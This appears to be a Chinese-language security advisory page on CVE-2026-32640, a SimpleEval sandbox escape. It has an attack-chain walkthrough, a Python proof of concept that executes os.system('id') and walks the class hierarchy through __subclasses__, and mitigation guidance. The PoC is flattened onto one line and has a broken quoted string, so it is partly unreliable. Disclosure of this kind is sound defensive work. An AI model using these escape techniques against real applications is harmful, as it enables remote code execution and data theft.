IPBUF安全漏洞报告
English
CVE-2026-32640 CVSS 9.8 严重

CVE-2026-32640 SimpleEval沙箱逃逸漏洞(CVSS 9.8)

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32640
漏洞类型
沙箱逃逸/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SimpleEval < 1.0.5

相关标签

沙箱逃逸远程代码执行PythonSimpleEvalCVE-2026-32640访问控制绕过表达式注入CVSS 9.8

漏洞概述

SimpleEval是一个轻量级的Python表达式求值库,广泛应用于需要动态计算表达式的Python项目中。该库旨在为应用程序提供安全的表达式计算能力,通过沙箱机制限制可执行的操作和访问的资源。然而,在1.0.5之前的版本中,存在严重的安全漏洞,攻击者可以利用对象属性的间接访问机制突破沙箱限制,访问本应被禁止的危险模块和函数。该漏洞的CVSS评分高达9.8,属于严重级别,对使用该库的应用系统构成重大安全威胁。攻击者可以通过精心构造的表达式,利用传递给SimpleEval的对象中包含的危险属性,实现任意代码执行。一旦攻击成功,攻击者可以在服务器上执行任意系统命令,窃取敏感数据、植入后门或完全控制受影响的系统。由于该漏洞利用简单且无需认证,建议所有使用SimpleEval的用户立即升级到修复版本。

技术细节

SimpleEval在1.0.5之前的版本中,对象属性访问的过滤机制存在缺陷。攻击者可以通过以下方式绕过沙箱限制:1) 利用传递给SimpleEval的names字典中的对象,这些对象可能包含对危险模块的引用(如os模块);2) 通过链式属性访问(如obj.__class__.__init__.__globals__)获取全局命名空间;3) 将危险函数作为回调传递给看似安全的内置函数(如map、filter)来间接调用。该漏洞的核心问题在于SimpleEval的ast walker没有正确限制对特殊属性(如__globals__、__builtins__、__class__)的访问。攻击者可以构建表达式如:''().__class__.__bases__[0].__subclasses__()来遍历Python的对象层级结构,最终访问到包含危险函数的类。另一种利用方式是通过传入包含os模块的对象,然后使用该对象的属性访问机制执行系统命令。建议的修复方案是在属性访问时增加严格的白名单验证,禁用对所有双下划线开头的特殊属性的访问,并限制可导入的模块范围。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用是否使用存在漏洞的SimpleEval版本(< 1.0.5)
STEP 2
步骤2
攻击者分析应用传递给SimpleEval的names参数,检查是否存在可利用的对象
STEP 3
步骤3
构造恶意表达式,利用对象属性访问机制(如__class__、__globals__)遍历Python对象层级
STEP 4
步骤4
通过链式属性访问获取对危险模块(os、subprocess等)或内置函数的引用
STEP 5
步骤5
执行危险操作,如调用os.system()执行系统命令,实现远程代码执行
STEP 6
步骤6
在受控服务器上建立持久化访问,上传后门程序或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import simpleeval # PoC for CVE-2026-32640 SimpleEval Sandbox Escape # This demonstrates how dangerous attributes can leak through the sandbox def exploit_simpleeval(): """ Demonstrates the sandbox escape vulnerability in SimpleEval < 1.0.5 """ # Create a SimpleEval instance s = simpleeval.SimpleEval() # Method 1: Access dangerous modules through passed objects # If you pass an object that has access to os module as 'names' try: # Inject os module through names parameter s.names = {'os': __import__('os')} # This should be blocked but wasn't in vulnerable versions result = s.eval('os.system("id")') print(f"Method 1 Success: {result}") except Exception as e: print(f"Method 1 Blocked: {e}") # Method 2: Use class introspection to access builtins try: # Classic Python sandbox escape via class hierarchy expression = "" ().__class__.__bases__[0].__subclasses__()" # This traverses the object hierarchy to find dangerous classes result = s.eval(expression) print(f"Method 2 found {len(result)} subclasses") except Exception as e: print(f"Method 2 Blocked: {e}") # Method 3: Callback injection via safe functions try: # Pass dangerous function as callback to map s.names = {'dangerous_func': __import__('os').system} expression = "map(dangerous_func, ['id'])" result = s.eval(expression) print(f"Method 3 Success: {list(result)}") except Exception as e: print(f"Method 3 Blocked: {e}") if __name__ == "__main__": exploit_simpleeval()

影响范围

SimpleEval < 1.0.5

防御指南

临时缓解措施
临时缓解措施:在无法立即升级的情况下,可以采取以下措施:1) 严格审查所有传递给SimpleEval的对象,确保不包含对危险模块的引用;2) 实现表达式预处理器,过滤包含__class__、__globals__、__subclasses__等可疑模式的表达式;3) 限制SimpleEval进程的系统权限,使用chroot或容器隔离;4) 启用应用层防火墙规则,监控异常的表达式求值请求;5) 考虑使用更安全的表达式求值方案,如使用AST解析器进行深度验证。但最根本的解决方案仍然是升级到修复版本1.0.5。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表